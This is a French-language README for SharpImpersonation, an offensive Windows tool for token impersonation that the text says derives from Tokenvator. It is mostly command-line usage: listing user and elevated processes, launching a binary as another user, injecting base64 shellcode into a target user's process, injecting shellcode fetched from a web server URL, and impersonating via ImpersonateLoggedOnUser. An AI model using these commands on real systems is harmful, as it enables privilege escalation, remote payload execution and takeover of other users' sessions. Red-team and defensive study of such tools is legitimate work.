SharpImpersonation

Ce projet a été réalisé dans une optique d'apprentissage par la pratique. Des techniques bien connues sont utilisées pour construire juste un autre outil d'usurpation d'identité avec quelques améliorations par rapport aux autres outils publics. La base de code provient de :

• https://github.com/0xbadjuju/Tokenvator

Un article de blog pour l'introduction peut être trouvé ici :

• https://s3cur3th1ssh1t.github.io/SharpImpersonation-Introduction/

Lister les processus utilisateur

PS > PS C:\temp> SharpImpersonation.exe list

Lister uniquement les processus élevés

PS > PS C:\temp> SharpImpersonation.exe list elevated

Usurper le premier processus de l'utilisateur cible pour démarrer un nouveau binaire

PS > PS C:\temp> SharpImpersonation.exe user:<user> binary:<binary-Path>

Injecter du shellcode encodé en base64 dans le premier processus de l'utilisateur cible

PS > PS C:\temp> SharpImpersonation.exe user:<user> shellcode:<base64shellcode>

Injecter du shellcode chargé depuis un serveur web dans le premier processus de l'utilisateur cible

PS > PS C:\temp> SharpImpersonation.exe user:<user> shellcode:<URL>

Usurper l'utilisateur cible via ImpersonateLoggedOnuser pour la session en cours

PS > PS C:\temp> SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser